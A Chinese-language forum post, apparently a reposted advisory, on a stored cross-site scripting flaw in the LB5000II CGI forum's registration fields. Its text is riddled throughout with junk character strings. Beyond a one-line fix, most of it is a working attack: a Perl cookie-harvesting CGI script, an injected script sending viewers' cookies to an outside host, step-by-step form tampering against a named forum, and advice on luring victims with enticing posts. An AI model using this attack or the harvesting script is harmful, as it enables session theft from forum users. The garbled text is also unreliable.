漏洞描述: 7 u! C8 B S0 G P0 y/ X" @
LB5000II是国内流行的CGI程序之一,是在Ikonboard的基础之上改进的,目前最新 * P7 _& w: \/ r. w T% _+ \$ j+ v
版本是LB5000II v20317b,可以http://www.leoboard.com下载。 [! A" u. ^# j" ]3 j
其注册模块未过滤用户资料 最高学历:职业状况:等注册信息 , J4 }; k+ W+ b+ U2 P G, P
导致恶意用户可以通过伪造<s cript>alert(documents.cookie)</s cript>
' i% |' _- z& Z2 t$ X7 ]5 ~进行攻击,进一步可以通过某中方式收集。测试通过 , D9 b2 ^0 m+ W8 J) ^0 i
测试程序:
1 u* c$ Q* r" v 参考漏洞描述。 5 P; G: w0 x; K) E
解决方案: ( R" W T: F4 T5 s
对用户提交的资料进行过滤
* P0 k. E/ q, h) {5 Q 6 o( G" _, {# E) I1 v% J, M
0 z6 J/ l' V- E- B3 ?! N. x
请在s8s8论坛访问 7 B" S- Z" [, C/ V7 A. O
http://www.leothreads.com/cgi-bin/profile.cgi?action=show&member=大刀队 * b7 }+ j& H, a
那么你在s8s8.net 的cookie将被我所获取. * J5 R) L$ P% C& N* e4 J; r0 E |4 {
#!/usr/bin/perl
# k l) O) a4 S% J- K9 ~: \0 `( g# h#leo.cgi
2 y8 N7 L: k3 B$ i+ J$url="http://www.s8s8.net";; 0 d$ u9 Y+ D7 W. E
$method=$ENV{"REQUEST_METHOD"}; , g# }: J8 |' d/ c% V
if(lc($method) eq "get"){$buffer=$ENV{"QUERY_STRING"};} # U/ M: O0 P; f8 r, U. l2 D
else{read(STDIN,$buffer,length($ENV{"CONTENT_LENGTH"}));} % V T0 }' n+ ]# [3 j% P9 [( F
$remote_addr=$ENV{"REMOTE_ADDR"};
2 I- Q/ @& M( E; w( t1 X8 T$ f9 H$buffer=~tr/+/ /;
+ e7 M$ }3 [0 `8 K& q5 E$buffer=~s/%([\dA-Fa-f0-9][\dA-Fa-f0-9])/pack("C",hex($1))/eg;
% c7 z) P B6 c' \3 V* A; p$buffer=$buffer."|$remote_addr\n"; ( N( d6 y( @. u! w
open(FILE,">>leo.txt");
% q' ~1 c; M" cprint FILE $buffer;
4 D6 K/ l8 b/ {) P, Gclose(FILE);
: x* T1 j- Z, S+ \* P; qprint "Location:$url\n\n"; 0 e H( |: N S! M4 J9 E& `, U
上面是我的cookie收集脚本 4 x7 z, B6 Y2 T+ P( I
------------------------------------------------------------------------------
- x( U" k8 J; P5 J5 t s范例:以s8s8为例,感谢好友狩猎者 shocknet 帮助测试 + Q3 [5 a# L; Y4 N( v
用大刀队登陆s8s8论坛,编辑个人资料, 6 M1 a M* Q' Z$ M8 }
用记事本打开编辑网页 P" Y6 ?! D3 K7 U. A
<option value="中专">中专</option> 这一项改成 ; k+ g6 T. v/ Y- K, h/ }
<option value="<s cript>window.open('http://enter.3322.net/cgi-bin/info/leo.cgi?'+documents.cookie)</s cript>">中专</option> " f1 }: c9 A. L' G+ @" [# q
# N+ w; Z5 ^; o( G
编辑<FORM action="profile.cgi" method=post name="creator" enctype="multipart/FORM-data"> 6 f: x% H ~# t. n9 C. ?
改为
* P+ f5 \) p; x7 x0 I<FORM action="http://www.leothreads.com/cgi-bin/profile.cgi"; method=post name="creator" enctype="multipart/FORM-data"> # a: ?& Y$ R9 x6 O) S3 i! W
保存编辑的网页,用自己的页登陆,选“中专”一项,提交数据,
3 [% n& [( a0 n; V这样以后只要查看大刀队的资料的用户,那么查看者的cookie资料将被截获。
( o! }' T: c' k3 l; e3 m为了伪装的更好,可以在论坛发具有诱惑力的帖子连接,吸引人家去点击, 8 E( n' \! l) U, }; r
什么算诱惑力呢,自己发挥吧。$ y8 f: ~1 W2 z: }# H
|